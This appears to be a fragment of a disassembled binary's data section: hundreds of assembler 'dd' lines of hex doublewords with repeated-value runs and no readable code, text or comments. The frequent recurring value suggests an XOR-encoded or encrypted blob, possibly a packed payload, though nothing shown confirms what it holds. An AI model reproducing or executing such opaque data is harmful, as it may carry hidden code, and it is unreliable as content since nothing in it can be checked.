		dd 948D331Fh, 9C287678h, 93426AFDh, 580D33F8h, 0A9923321h
		dd 948D33E4h, 9796AAA6h, 2996CE78h, 94CF0BF3h, 1E8433F8h
		dd 0F924D39Bh, 0DE86C6Dh, 9DC75162h, 0F18D33F8h, 948DA250h
		dd 0D171B3F8h, 53E804F8h, 148D33F8h, 6B8D9BABh,	948DF165h
		dd 8F2941F8h, 9D8116FAh, 580D33F8h, 0AA92332Eh,	948D336Ch
		dd 9CE37678h, 9D6DAFFDh, 39233F8h, 7402FF3Bh, 8F958DFCh
		dd 14C72278h, 0AA21EA2Fh, 948D33F1h, 0DB96C230h, 31BFEB38h
		dd 148D33F8h, 0AA21EAA2h, 948D33B3h, 3696BA30h,	948D33FBh
		dd 6BC7BD78h, 948D2F78h, 8F2941F8h, 8FE129F9h, 9D49AFFDh
		dd 39233F8h, 5C1FEB3Bh,	54EB04B0h, 30E068B5h, 0E23DBA31h
		dd 61FEFF38h, 8E958DB0h, 742F0730h, 0DBEF4F63h,	0EFD76852h
		dd 72D0772Eh, 948DBC78h, 5BEFB0F8h, 94A4ACFDh, 0DED733F8h
		dd 60E80461h, 148D33F8h, 6BCE29ABh, 948DFA65h, 0E4EB04F8h
		dd 94DB162Ch, 943333F8h, 0DB286BC0h, 168ABA33h,	0D213BDCBh
		dd 17C75371h, 0A9922E50h, 948D338Bh, 0A992ABF0h, 948D3389h
		dd 94C74478h, 2D38B4CBh, 168D33F8h, 933AF523h, 94C10D5Fh
		dd 0D1288DF8h, 0E98D2FE4h, 0DB288D2Dh, 18E2C22Fh, 5CBD04B8h
		dd 6B8D33F8h, 5DE2C217h, 7492B231h, 0DE283516h,	93C58DFFh
		dd 6BC71730h, 0DBE4FC78h, 0F84D452h, 0DED8B8BAh, 488E8D70h
		dd 0A4182F76h, 9A710FCFh, 2209867Bh, 1DE72F76h,	10EA4842h
		dd 6DC6D27Bh, 0E3CEAD6Ah, 948D3350h, 0E08313F8h, 0EF6276F2h
		dd 0F8FD7EE4h, 948A12E4h, 0E04AECF8h, 0E488827Eh, 0FAFF3C44h
		dd 1DE01BB0h, 8EDC6A75h, 6E688233h, 74E86C6Ah, 0F8C74EDBh
		dd 0B6C1FE19h, 9E25BAF8h, 748D33F8h, 169070CBh,	1E69CA1Ch
		dd 0E869CA24h, 0E98D33F8h, 171F70F3h, 3BCDAEDCh, 690C5947h
		dd 9ACDDBC3h, 948C7A31h, 0B07A2F77h, 9A71126Fh,	948D33F8h
		dd 19EFB2E9h, 9A701C77h, 354CFED2h, 948D33F9h, 201EC6D8h
		dd 2949C73Fh, 2949EF67h, 948D338Fh, 771ED127h, 21504B26h
		dd 9D2CB41Fh, 0B6C74E80h, 9E25D1F8h, 748D33F8h,	164B70CEh
		dd 1E69CAD4h, 0B969CA24h, 5A8D33E7h, 3A8A70F6h,	0B60D8FE0h
		dd 792CB4F8h, 0FC74EF8h, 554B08B8h, 87F72938h, 9666BC4Dh
		dd 6DEAE64Ch, 0F0523683h, 0C28B66DAh, 0F13DD246h, 0DCAF48F8h
		dd 0FF92D920h, 2EEC04B9h, 53A6430Bh, 0EB1FC7F2h, 0D36BC7DEh
		dd 1B0325F0h, 0AE5EDCFEh, 0Bh dup(220325FCh), 7B9425FCh
		dd 6A0325BFh, 0B097A2D3h, 1D8DDD30h, 4430B943h,	1CA5E4EAh
		dd 43FD0870h, 0D0522D13h, 9C6F4EA7h, 70AD6813h,	0D2C75611h
		dd 0F903497Ah, 149CCC6h, 199E8F36h, 4B05E105h, 9DF9E82Ah
		dd 8A1B1C0Eh, 585D79A8h, 36DAF8FAh, 0BA196E10h,	5595FDD2h
		dd 7812981Ah, 7D2B58AAh, 8C782F29h, 5842483h, 1CBD820h
		dd 0D9D81DBCh, 6D5EDD2Ch, 0B2825747h, 53422FC2h, 2180A682h
		dd 0B2825746h, 53422FC2h, 0A7871882h, 0B3F9F9FBh, 51B33AA2h
		dd 42F24EC6h, 64FD2620h, 832A2D7Ch, 34C36EAFh, 0F79ACAA7h
		dd 9984BF9Eh, 20541A50h, 505EE8Eh, 20E0FD46h, 411D208Eh
		dd 1EC2606Ch, 14E773C6h, 0B21C7884h, 9CBD1BCAh,	0CE395FF3h
		dd 22032004h, 6DCC30A0h, 717CC165h, 0DA4C43E9h,	60E9853Fh
		dd 1AD81CE0h, 2C01B90Ch, 0E704FFAh, 931E9C1Ch, 7DE447EAh
		dd 0D5570309h, 0DF0AC8A6h, 980325F0h, 8C4BC6DBh, 687A47E1h
		dd 0A5E6C33Bh, 0BFE9779Bh, 10AA61A7h, 8598C054h, 16697D12h
		dd 5F1D036Dh, 5A584D0Fh, 0EFF92FC4h, 9679C3E3h,	5064588h
		dd 0FDB05D6h, 0BFE82A1Bh, 19686422h, 2BA8A91Bh,	54B1B44Dh
		dd 45E1C0E9h, 297C9779h, 48DDB330h, 7E8D129Dh, 0A13E91D8h
		dd 89AA6281h, 10EF0F55h, 0BB58D3D8h, 0ECA7ADB3h, 45D95746h
		dd 0E5B9A395h, 6E9F2FC3h, 7CFEF65Eh, 0B2D9D0Ah,	5C8C29A3h
		dd 0FB952FC3h, 77F97B6Fh, 9CE773B2h, 220324ECh,	8BB3FF71h
		dd 69054B35h, 4AF5B2F6h, 83CDBD09h, 9510843Eh, 0AC76BD66h
		dd 4CD8C2B4h, 0B8E52FC4h, 7FB72D9Ah, 7A0132EDh,	2EF6EBFDh
		dd 7C721336h, 76F62437h, 81AC6512h, 82908373h, 177E7477h
		dd 0FE87E18Eh, 8C80817Bh, 1958E50h, 711523Eh, 246109D6h
		dd 10D43299h, 0E483E24Fh, 7D8F8E5h, 0E2C0D7Eh, 0E67D7184h
		dd 3DED292Bh, 9226CEDCh, 2F87C8A7h, 4F0325FCh, 502FBD7Fh
		dd 1AE92FC4h, 8E3C293h,	52B58209h, 559C6015h, 1F64DC3Dh
		dd 0D0E6AC6h, 875F3E95h, 0D631D298h, 193D5842h,	0FC030A68h
		dd 659AA3A1h, 5B473526h, 4E5CF21Fh, 81140C9Eh, 99421262h
		dd 0E0F1329Bh, 10AA8CF0h, 9197EB70h, 68B7CBB2h,	22032346h
		dd 0C34D08FCh, 0B67A7FEDh, 436DD688h, 69B2460h,	0B9025773h
		dd 1265D0F8h, 783AC5B9h, 0C4A4673Ah, 0C4374202h, 52C54114h
		dd 3A0422A9h, 198E0370h, 0DD067D39h
		dd 6F266ACBh, 396DD7C7h, 893EA180h, 0A859AF42h,	0E2FAB2B3h
		dd 0A4DB1428h, 0E2617B89h, 3111B1Ch, 82786672h,	1376F9E1h
		dd 3B1D1BB2h, 2D769433h, 2504278Bh, 0BACE03ECh,	805D8933h
		dd 4EBA6590h, 0F6092D4Eh, 1D4A11E3h, 0DB74266Ah, 424EC94Bh
		dd 74BAE00Ah, 72C62DA2h, 0DFB3078Ch, 2E6725F0h,	0A1F61E8Eh
		dd 8B0FC44h, 249B9C88h,	0F6E3EA83h, 2CB4FAE4h, 166039A7h
		dd 1E83028Ah, 0B6D2CC1Bh, 0D2849B55h, 4D46083Fh, 6EAAF804h
		dd 8EE846A5h, 0DC9C473Bh, 120A893h, 652182EDh, 0C4F7511Eh
		dd 0D80325FBh, 7C130C82h, 396D02EFh, 39A0E802h,	463F9A05h
		dd 7AD15F8Eh, 0F5870C59h, 3CC15843h, 0C3007B3Ch, 90AA612Bh
		dd 815EE740h, 90AA604Eh, 11D25C46h, 8071A86Ah, 8A692C2h
		dd 91187FFh, 0AF5FA31Ch, 10AA8CAFh, 4EB74831h, 95697D12h
		dd 0CD7F2881h, 7051D949h, 22032506h, 4087C7F2h,	1AD81CE0h
		dd 307273F7h, 0A1F61E8Eh, 8A44660h, 0EE7AC423h,	41649975h
		dd 2A7410FAh, 0FE71E875h, 93BCE3CDh, 0C7DAF88Fh, 0E0E5005Ch
		dd 0CB991EAh, 8A77139h,	0A6EFC027h, 97455A6Ch, 0F0FC1770h
		dd 0F85EB8A7h, 537C2146h, 0A0FECC05h, 0A84F9998h, 0B1A791B3h
		dd 4C01CC8Ch, 4E3A13C8h, 0AF100D9Eh, 2D0A89DBh,	37F7B958h
		dd 0F840826Eh, 4146034Bh, 7FEA034Ch, 0F1BCCEh, 856E550h
		dd 645468E3h, 72CB20EAh, 17658786h, 0DFB0747Ah,	3827A9DDh
		dd 0A214E1BBh, 0A1F61E8Eh, 149A120h, 0AAA47963h, 7BFB41A0h
		dd 4A3EFBC9h, 62DA6738h, 0AC88C147h, 25E25179h,	280431AFh
		dd 581DB451h, 27451995h, 0FB50DC3Bh, 0C8DD6774h, 7372FAB1h
		dd 0F6779991h, 0A21027A2h, 0A9A51FCh, 9A56CFD5h, 0CFEFB79Ch
		dd 505F83FDh, 545BDE80h, 37F30EA9h, 0EBF04537h,	8EB5880Fh
		dd 5F41BB8Bh, 30329FB7h, 0C946EDF5h, 0E23C4B6Fh, 1A68624Ah
		dd 562E9D0Fh, 0F9EFE841h, 9BB916C7h, 199BA38Fh,	220325E5h
		dd 20A3DA25h, 58293DD7h, 0F9262F4Dh, 0B5B59DF2h, 0D15EE715h
		dd 0A79670D1h, 7386C065h, 0A7D0B20h, 622B3705h,	9DDC1D73h
		dd 1BCB7F04h, 0AD718FCh, 0AE500C04h, 0ADF18FCh,	0B91518CEh
		dd 22033165h, 0AC9D1AFCh, 8BFE0109h, 0FFE2F963h, 0DF2065E3h
		dd 0BAFE0165h, 43EB317Fh, 370325FDh, 0AC871190h, 22033190h
		dd 5F18C2FCh, 657111D8h, 6399F30Ch, 6635A0E5h, 2F1726E5h
		dd 0C2E2E129h, 220E717Ah, 0FCFE25FCh, 434BAA90h, 2203FE7Bh
		dd 0E37625FCh, 0E1AA6B0h, 0E7AD38C8h, 7FEB2E56h, 4A17E853h
		dd 450D84EFh, 0AC7EC113h, 39022A70h, 0E8A3327Fh, 70433F45h
		dd 0D447C8A3h, 2C18EB5Bh, 21375C63h, 3BD41C18h,	0C46E29B9h
		dd 38F629B9h, 0BB7AFDB6h, 0B91FD36Ah, 7DBAD644h, 0BCDE6C07h
		dd 0FD19FFDBh, 30651BD0h, 6140C8A0h, 6E1BA220h,	2069FFBBh
		dd 2C603A58h, 510BCEFEh, 0EBD74E92h, 8F1B2667h,	1CAC48C2h
		dd 0DEBF94F0h, 1F3770FDh, 82AA25FFh, 64A47DECh,	0B506E7EDh
		dd 93E89770h, 0BA4C786Ch, 0AF612C16h, 3BEA2089h, 22032027h
		dd 0D70A6E1Ch, 0E7250F60h, 5723A6E2h, 2206BDD2h, 7A132006h
		dd 220325FDh, 2FB5CDDCh, 0A3E2F163h, 0A3E2F17Bh, 220325BDh
		dd 0E8B5F03Ch, 0BB57FF10h, 57D5D93Ah, 220325E5h, 6A82D868h
		dd 981F940Dh, 0FDA5F63Dh, 22033130h, 2C5CBBFCh,	10E03D39h
		dd 220570C6h, 0AE38B1F1h, 0BB9425FCh, 6D0325FBh, 6F99C77Dh
		dd 9FC15CDh, 0DF942E9Eh, 0CC0325FDh, 0A32EB6FCh, 20325FCh
		dd 3716DAC1h, 5F1EFCA8h, 0FE1E11F0h, 250325FCh,	0BBC9DAC1h
		dd 738F5FEDh, 0B58B5C3Fh, 77BBB289h, 3CD04BD2h,	221138CCh
		dd 0EC7825FCh, 99D528Dh, 0BF48340Ch, 72022B7Eh,	0B78B75D3h
		dd 0ED19C50Bh, 0F549C02Dh, 0DF93F80Fh, 3B9375D6h, 2F07D7BCh
		dd 22069A84h, 795F05FCh, 0A3718F3h, 0A42A0B0h, 22F207B0h
		dd 7913E0FCh, 64EDA6FDh, 0CE3B2E85h, 0F70437Ah,	0E0BF06BAh
		dd 220F1AF9h, 0ED3125FCh, 0ED7640A0h, 0DF93E1BFh, 0BACBCCF0h
		dd 0AFAA5816h, 7FF2589h, 0F0FDAACCh, 2202A614h,	0B54818FCh
		dd 730570B5h, 3A0F5537h, 8B862EB1h, 80E01AF4h, 220570C4h
		dd 0C906F9A0h, 2202A613h, 0B54818FCh, 730570B5h, 33688E37h
		dd 8B862EB1h, 1609BBF4h, 0F0FE5062h, 22069B83h,	0C15950FCh
		dd 737A2348h, 0B58B5E37h, 2A483489h, 30022A14h,	2206B483h
		dd 4B67FFCh, 0A521721Bh, 0F7AB0E9h, 0ADE85808h,	0FEC3F54Ch
		dd 22067A30h, 0FBFDBBFCh, 0B37C8867h, 0A66C294Ah, 0FFF7EE22h
		dd 0AEC53B1Ch, 1AE25FCh, 80873F85h, 0E25A6D01h,	19B1D6F4h
		dd 0F8FAA07Bh, 19A6737Bh, 5623E061h, 220325FDh,	7A062006h
		dd 220325FDh, 92B5C2DCh, 0A3E2B963h, 0A3E2F17Bh, 220325B4h
		dd 0D5B5CD25h, 0A1476080h, 0F78675D2h, 1BF5EB7Bh, 0AE7C38FCh
		dd 4C7525FCh, 0C7FA6000h, 7DFDF3DAh, 497E3D5Bh,	0ADA5B420h
		dd 0B207D785h, 22069A83h, 790A05FCh, 0A4F18F4h,	0A42A0B0h
		dd 22F20DB0h, 7916E5FCh, 9C4BD1ABh, 1BC83B1Ch, 0CE9125FCh
		dd 0ED027FFFh, 0FF75893Bh, 0FB358867h, 0F3942942h, 0A80325FCh
		dd 0ADFC656Ah, 0EDB2AA62h, 23168568h, 93406D2h,	0E5F03FC9h
		dd 0DF2148AEh, 79A1200Ah, 220325FDh, 0CDB5C3DCh, 0A3E2A162h
		dd 0A3E2F17Bh, 220325BDh, 0ABB5ABF2h, 712D40C5h, 6E964C5h
		dd 443E537Bh, 221D3529h, 1BC95DCCh, 2FE325FCh, 6C4BCDBDh
		dd 6C6C3191h, 0AEDF3191h, 0BE4325FCh, 0E8249EBCh, 0EE7AD97Ch
		dd 0AEADB1F9h, 0DC4125FCh, 0B37C8867h, 4FA4294Ah, 220325FBh
		dd 99414EDh, 470325FCh,	0BC2C8F26h, 9AE87F65h, 83CB9428h
		dd 139BDEADh, 666B3A21h, 0E50325F0h, 0EE8EEDB3h, 0B090FE53h
		dd 0C80325FCh, 4E68866h, 5F312942h, 73885C76h, 0AC7ECF3Fh
		dd 3B932E89h, 0ED73A02Ah, 0B2F1CE7Bh, 279EFEBBh, 0B20325FCh
		dd 0AED97EF8h, 0FD6B25FCh, 0C00325FCh, 0D32CB285h, 0C9B8BBFBh
		dd 0A73B51D7h, 8D77C7F3h, 0DF3C74E6h, 7A12200Ah, 220325FDh
		dd 0CEB5CEDCh, 0A3E29962h, 0A3E2F17Bh, 22032580h, 0C0B5B6C9h
		dd 2206BD13h, 0B098FEFCh, 0AD0325FCh, 0C907D785h, 22069A83h
		dd 794105FCh, 0A4718F5h, 0A42A0B0h, 1BF62CB0h, 79195AFCh
		dd 0F36BA237h, 750325FCh, 52BB5978h, 2E002087h,	3588CBEEh
		dd 565826F5h, 0D8099272h, 0A32EABFDh, 20325FCh,	3EBDDACAh
		dd 5F1EFCA0h, 71E11F0h,	0A00325FCh, 4F8BDAC2h, 967BD661h
		dd 0A986CECCh, 7D86B22Ch, 0B58B7C17h, 0F5F03489h, 4A022BA3h
		dd 38BDC4D7h, 6F1B9C6Dh, 3DDE2940h, 0D0F538BBh,	2A8B35B0h
		dd 6B343171h, 0A4B834A3h, 73022A49h, 0B5B78F67h, 2AC61289h
		dd 8CE61C83h, 666A6565h, 690325F0h, 0E2F4C245h,	3A84FE8Ah
		dd 0E40325FCh, 2210CE8Ch, 1BC95DC2h, 0CDE325FCh, 9C4BC3BCh
		dd 6C6C3190h, 1BCD3191h, 2C5125FCh, 32347CBDh, 0EDC9E0B0h
		dd 656D011Dh, 325F0h, 90EA537Bh, 22031AF9h, 318C25FCh
		dd 4183BBBDh, 0E824DD48h, 0F0FE48B3h, 3D7762D2h, 0D7CB687Dh
		dd 6B03294Bh, 80E01AF8h, 220570C4h, 0C905EBA0h,	287A6564h
		dd 370325B0h, 0B856303Fh, 6F803489h, 0AD024D5Fh, 0B95EC575h
		dd 0AFAA5816h, 75FF2589h, 287EAACDh, 370325B0h,	0B856303Fh
		dd 58803489h, 0AD024D4Ah, 5F5EC575h, 2FCEFCA6h,	4EF0C5F4h
		dd 1C173113h, 0F0FDC0CDh, 1BC8BB83h, 4224C5FCh,	0A3AD0A73h
		dd 0AE38B1F1h, 0DF1D25FCh, 0CBB78C29h, 0E5F0294Bh, 0DF927B86h
		dd 0E5743529h, 0DF3C297Bh
		dd 1EAC2365h, 2206DDF8h, 22EC05B2h, 0F9A19A06h,	22EC25E7h
		dd 0C46CAC21h, 6A94294Ah, 200325FDh, 0AFDF8C3Fh, 44AEAB89h
		dd 0AE575C6Ch, 0AF0F13EFh, 52483489h, 0AD024112h, 55481B4Ch
		dd 730570C5h, 0AFDE643Fh, 0E210B589h, 0A4A11F07h, 0AFD18C0Fh
		dd 0A7B5C089h, 2 dup(220325FCh), 0C40325FCh, 31234164h
		dd 0E54BBDFEh, 0DF94F787h, 39CADF65h, 0B53D3C3Fh, 0FE35B289h
		dd 0F26BA063h, 55F02943h, 0DF2072DDh, 7463A067h, 409A25F5h
		dd 0BB88C21Bh, 13B8B2FBh, 31022BA6h, 0B53D3C3Fh, 60E01A89h
		dd 22022BA6h, 2202B1F1h, 667425FCh, 22031F83h, 3D113DFCh
		dd 2 dup(220325FCh), 0D09FB2CEh, 370EDF64h, 0B53C543Fh
		dd 9AB83489h, 73022BA5h, 8B98803Fh, 0D9932EFCh,	1D48B2FAh
		dd 74022BA6h, 0E5FE25B0h, 0DF94F787h, 0E5742565h, 0DF94F787h
		dd 220325B9h, 554BC5FCh, 0DF213526h, 0F144A063h, 0E5F02943h
		dd 0DF9707ABh, 3742E565h, 0B53E1A3Fh, 0E7B83489h, 73022BA5h
		dd 8B98803Fh, 0D9932EFCh, 0F1B0A065h, 42B62943h, 0B5315B37h
		dd 0F935FE89h, 42DE9A68h, 84F6ADF5h, 0DF2072F2h, 3AEFAE65h
		dd 0B5315AEFh, 6BFDAB89h, 0D266B2DDh, 0F15064E5h, 2CF62943h
		dd 0DF2072F2h, 0AEB41A5Ch, 7280753Bh, 31022BA2h, 255F9A81h
		dd 0B9022BA5h, 3AFD3070h, 2EED6530h, 220325F9h,	3B199A96h
		dd 0A79A3148h, 7F975A25h, 0E29A2E29h, 3D83FEE2h, 0C79A2E29h
		dd 55EA434Ah, 0ACF1FEB0h, 268F9A32h, 37022BA5h,	0B53E773Fh
		dd 3B73B289h, 0C0ACB2BAh, 0B53E1A16h, 0D2032589h, 0FD83FEBCh
		dd 1F0325FCh, 0EBE30184h, 570325FAh, 220325E4h,	1BC45DBBh
		dd 2206EE54h, 0FB4967EDh, 0C4762942h, 0FCFD9BB0h, 3B5B289h
		dd 3B98D97Bh, 2F9EFEBBh, 5F0325FCh, 0B53E1A17h,	0D2032589h
		dd 0FD83FEBCh, 1F0325FCh, 0EBEFB784h, 5706EE2Ah, 220325E4h
		dd 1CF75DBBh, 221A2E54h, 220325C7h, 0E1CB3D3Ch,	0B0832521h
		dd 2EEA25FCh, 2203258Ah, 0FB49687Bh, 22032942h,	2EED656Ch
		dd 220325FAh, 0AEDA2D9Fh, 0B083B2FCh, 2AC6C5FCh, 74D99BE4h
		dd 0B53D503Fh, 8D481889h, 730570DCh, 0B53DA63Fh, 49481889h
		dd 730570FAh, 0B53DF33Fh, 0A9481889h, 57057095h, 22032068h
		dd 4Fh dup(220325FCh), 0FE936865h, 0FDEC294Bh, 1BC83430h
		dd 0AEC538FCh, 0EF3425FCh, 0FAF2D303h, 0C72325DAh, 0B0B8D14Fh
		dd 38840D91h, 0CF3F9F72h, 0D836294Ah, 0A32EB6FDh, 20325FCh
		dd 3716DAC1h, 5F1EFCA8h, 701E11F0h, 250325FDh, 0D4CBDAC1h
		dd 0AEC63BC2h, 4B4725FCh, 0D92152F9h, 0A0941DA7h, 0B25A5CEFh
		dd 9B66B664h, 0D1F5B8DEh, 31237624h, 0E08B754Dh, 15E2E17Bh
		dd 57ED5352h, 220325F9h, 8DA3E684h, 1C8216D0h, 3F2BF49Bh
		dd 0A79F6445h, 0AF0F13EFh, 2DE0C589h, 5EBA1654h, 2203258Dh
		dd 99AEE242h, 0AE08A0C2h, 0B2EF8B60h, 6A43471Dh, 0FFA92F09h
		dd 1BF62F83h, 5C1DC8FCh, 3F11C95Dh, 0CCBA9545h,	0CA0E1804h
		dd 736F27CDh, 3A70573Fh, 0B207D7B1h, 22069A83h,	790A05FCh
		dd 0A4F18F4h, 0A42A0B0h, 1BF5EBB0h, 7916E5FCh, 164FFE58h
		dd 40FDC61Ch, 1BF6B1F9h, 55EA25FCh, 4049B47Eh, 1BF5EA83h
		dd 0E84303FCh, 125F3B57h, 5C24B1Ah, 0AF562A84h,	1FEF9C5Ch
		dd 0D78FA063h, 221D2940h, 1BC95DCCh, 2FE325FCh,	6C4BCDBDh
		dd 6C6C3191h, 22043191h, 0BE4325FCh, 13BFF4BCh,	1CBC6DE3h
		dd 0AFDF8C3Fh, 2210B589h, 1BC95DCEh, 0C1E325FCh, 0BC4BC7BCh
		dd 6C6C319Fh, 0AED83191h, 0D03525FCh, 0F76F57BCh, 22031465h
		dd 689419FCh, 470325F0h, 8DD04121h, 7FD80F66h, 220325B0h
		dd 0BF5794C2h, 0A8CAA6F8h, 31EA25FCh, 220325B2h, 22033DF1h
		dd 0FD1325FCh, 1BF5EB7Ch, 0AE7C38FCh, 601F25FCh, 143BD56h
		dd 0AAF85725h, 836E15F6h, 31644BC1h, 571E11F0h,	2203258Dh
		dd 0D9A43DC3h, 8AD00695h, 2C9EDB8Dh, 0E3D272C8h, 314311F5h
		dd 0FD18B5FCh, 22069B71h, 0B04CFEFCh, 0FD0325FCh, 2202386Bh
		dd 2DD625FCh, 79F86728h, 375EC7BFh, 0B21E11F0h,	6684FEF5h
		dd 0FD0325F0h, 22032563h, 57B7FEFCh, 220325F8h,	8E15E4ACh
		dd 2E5C3F62h, 0C6D7348h, 0F25ECDF6h, 66DF8C2Ah,	0C7A4294Bh
		dd 1BF6F582h, 0BF07A9FCh, 8FBC9D6Ch, 96255295h,	0A62D6B4Eh
		dd 4A83BA58h, 738F720Ch, 3A70573Fh, 8B07D7B1h, 22069A84h
		dd 795B05FCh, 0E1718F7h, 0A42A0B0h, 1BF62CB0h, 791FDCFCh
		dd 0FD267AE0h, 22F200EDh, 22EA38FCh, 91E125FCh,	0AA8BA911h
		dd 21127D7Eh, 0C01F726Dh, 0F2B6DA2h, 0FD23C745h, 2206BD66h
		dd 3A49FEFCh, 0C20325FCh, 1593311Ah, 22033283h,	0C342CEFCh
		dd 0D75C44A5h, 8C0645C0h, 693BA063h, 221D2940h,	1BC95DCBh
		dd 0D0E325FCh, 844BA8BCh, 6C6C3190h, 0AE613191h, 382C25FCh
		dd 49E271BDh, 220E5D2Fh, 0BF4A25FCh, 0C4131578h, 7D19EFCBh
		dd 220325FCh, 0FD2010F1h, 420325FCh, 7CF1BD9Ch,	55CC3EBFh
		dd 0DE4FE848h, 0CF19CDF7h, 22107EF8h, 0C41325FCh, 364110F8h
		dd 5716CDF6h, 220325F8h, 0A1F87F2Eh, 90BCE6Bh, 0D909E0F0h
		dd 0A3E2F165h, 22031C83h, 0F42738FCh, 0B0F183FBh, 1BF6F583h
		dd 4BAA77FCh, 0C185C3B9h, 9311070Eh, 9DE8C2AFh,	0A4F18F2h
		dd 0B290FEB0h, 0B20325FBh, 0FD23C5F5h, 0C823C56Bh, 2210CDF3h
		dd 1BC95DCBh, 0D0E325FCh, 844BA8BCh, 6C6C3190h,	22003191h
		dd 382C25FCh, 6653EEBDh, 3FAE4515h, 0FEE1E757h,	1BF5EAEDh
		dd 0AE7C38FCh, 0B4B625FCh, 0CC3CBD6Ah, 37BE58F9h, 0B5C61FFDh
		dd 0A7725C86h, 0AF0F13EFh, 0E5F01989h, 0DF927B86h, 1BCB34F9h
		dd 0B4EA25FCh, 220325A5h, 4049C31Ch, 7A122006h,	220325FDh
		dd 0CEB5CEDCh, 0A3E29962h, 0A3E2F17Bh, 220325B4h, 0EAB5B6C9h
		dd 0EC7558A5h, 0B9E5751Ch, 0C715784Bh, 0E54BC0F0h, 0DF93179Fh
		dd 3124F310h, 1BE0C2BDh, 0FF1A3170h, 0CF3F9F72h, 0EB13294Ah
		dd 905EC605h, 0B272027Eh, 0C20325FBh, 3B06DB64h, 220325FCh
		dd 0AB2A31Bh, 8B19B16Ch, 2211A0F9h, 5FEA25FCh, 220325FBh
		dd 0F7B82E53h, 16057088h, 0E103A067h, 68942940h, 450325F0h
		dd 36A5271Ah, 0A798FB32h, 0E5750B4Ch, 0DF97034Fh, 7A13200Ah
		dd 220325FDh, 2FB5CDDCh, 0A3E2F163h, 0A3E2F17Bh, 220325B3h
		dd 0B2B5F03Ch, 0F246FD81h, 22023B07h, 3D1925FCh, 0FD4108Ch
		dd 0DF673896h, 562325F0h, 6479216Fh, 0C416F010h, 22F2FE82h
		dd 0C874B2FCh, 0C2E30B7Fh, 15B95DC9h, 0FF765C2Ah, 0FD2710F1h
		dd 22032566h, 0F25D6DFCh, 0C8270D5Ch, 0AD718F3h, 1BF6F583h
		dd 0AB6BC8FCh, 0AB06FC9Fh, 3F46673Dh, 38FD77AEh, 0D097751Ah
		dd 0E824FBEBh, 0F28C4D7Ah, 0D026717Eh, 1535FEC0h, 505DFECAh
		dd 0BB6BC01Bh, 180325FBh, 3C073488h, 0AB08890Eh, 0B06B373Fh
		dd 0BC0325FCh, 4973577Ah, 9CC22942h, 22032528h,	1C2D1AFCh
		dd 0DF0570FAh, 0B09BB1F9h, 0CC0525FCh, 0AD06D7FCh, 0B8F99C0Eh
		dd 0BA4BC789h, 0DF206921h, 34F48767h, 0A5052942h, 22031DE5h
		dd 0AD16AAFCh, 0AF39880Eh, 7318C789h, 0B5301F36h, 0EA49AA89h
		dd 0DF20692Ah, 1998AF29h, 0B10D294Bh, 7316A1BBh, 0B5301F36h
		dd 0DAE3489h, 2198D895h, 220320B0h, 0E82F6CA0h,	844CC868h
		dd 18FFDCF4h, 12FBE167h, 6277B4AFh, 0DF9330F3h,	0A3F77865h
		dd 91C70F10h, 66782ECEh, 6F5B9F67h, 0AD132940h,	0AFACFC0Eh
		dd 0EE7DC789h, 9CC580AFh, 22032028h, 0A50252FCh, 220319FFh
		dd 318C25FCh, 79B419FFh, 58A425E4h, 220325B2h, 5B80C969h
		dd 4AFDC76Dh, 22033284h, 4C2690FCh, 0DDA7C7CAh,	0E3BFD77h
		dd 1BF6F584h, 90F8E4FCh, 607F5FBEh, 0CB87F9EEh,	7D084C21h
		dd 79BCA824h, 220325E3h, 2E168887h, 446182DDh, 5F4E2D6Fh
		dd 0AE0D9D72h, 396DFEFCh, 0A0325FCh, 0AE6089E1h, 1F35FEFCh
		dd 3124CB21h, 666BC7BDh, 200325F0h, 87E21FAFh, 0F988A0DBh
		dd 0C9EA8A72h, 22F20182h, 0AA5D99FCh, 924B51B2h, 4DA7B793h
		dd 0C6B81713h, 207F4DB0h, 7A83ABEFh, 0DE951924h, 2206B798h
		dd 5D5BC4FCh, 5636609Ch, 68530E1h, 5F4451EDh, 0B4AC357Eh
		dd 221938BFh, 32D725FCh, 0F048883Ah, 0E7BBE626h, 39CB0769h
		dd 6686FECEh, 5F0325F0h, 9DCA84BCh, 0A2107ED8h,	1E763575h
		dd 0AED95DE5h, 2B2725FCh, 42A44DAAh, 9A3B5E22h,	757AD178h
		dd 0ABCC1F26h, 0E82CA882h, 22032099h, 0FE83FEFCh, 325FCh
		dd 0D6BF6EDh, 600325FCh, 28A2E4E7h, 9BDAA58Fh, 0A749F283h
		dd 0E4AB9121h, 0A5FAD1F8h, 8DCE1516h, 0C581C56Ah, 0CADBB071h
		dd 1A63F8E9h, 6ACF3583h, 0A3BAC1FBh, 9E9E02CEh,	96ADAEA7h
		dd 7BFA8BF4h, 0CADEA414h, 0B3524C40h, 5B3D0097h, 757EE74Eh
		dd 0AB18B8BFh, 94C70DC3h, 24DEA512h, 3AF31386h,	2910909Bh
		dd 0AC98E7F8h, 114447FBh, 0CADB3EEAh, 0CADB3771h, 25733EE9h
		dd 93111D73h, 4DC94DBh,	0F526526Ah, 0CABED708h,	685A5E9h
		dd 0E9C081FBh, 0E0859AF4h, 19B9765Ah, 0EE199C6Bh, 15D0E5F8h
		dd 0CADA8271h, 5F0AA4E9h, 52FF51A0h, 85F707C5h,	0FCCD2382h
		dd 0D73CD069h, 9F778540h, 0B077B891h, 43FB5237h, 5F0AF01h
		dd 0AFB41F89h, 0C219C8C9h, 0A9D00CB9h, 0D6695946h, 0CA8DBDEEh
		dd 0DD95A5E9h, 0E7CD9E91h, 0B0F15EFAh, 0EA61E669h, 3C475EFAh
		dd 20B465Dh, 4058AE69h,	882EA51Fh, 0CADEA56Ah, 1C3CF808h
		dd 89222AA2h, 0DE3CE050h, 0DC2244C3h, 58F284EDh, 6AE83AC7h
		dd 55224722h, 9C3C5EA1h, 0A4C8C01Ch, 0E3C5E1Ch,	0FCD721AEh
		dd 24311AA8h, 1311A18h,	643C5E1Ch, 0C77221D7h, 0B53BAF74h
		dd 0EEB2B7CDh, 5810B045h, 0AE3C93C7h, 7030A81Ch, 0AE3C9355h
		dd 32AA7E1Ch, 1AEE0F1Ah, 1AF114D8h, 0AE3C68D8h,	2BFEBC1Ch
		dd 3B2BE2FAh, 560C1BAh,	89EA50D7h, 0B09B7A9Dh, 0AD2214DFh
		dd 34EF5E1Ch, 0E13C5E1Ch, 10BF4DBAh, 910DFCA1h,	0B44B1DE9h
		dd 8C1DA8A1h, 3140F7A1h, 334F38D4h, 0B4433FDh, 0C34433D5h
		dd 8440F7AEh, 0C5EC38FFh, 0D79B9DA3h, 8BCE3885h, 92D94D98h
		dd 78FFD62Ah, 0B852E967h, 0DB9FF0F9h, 0E813AB59h, 0F386FC22h
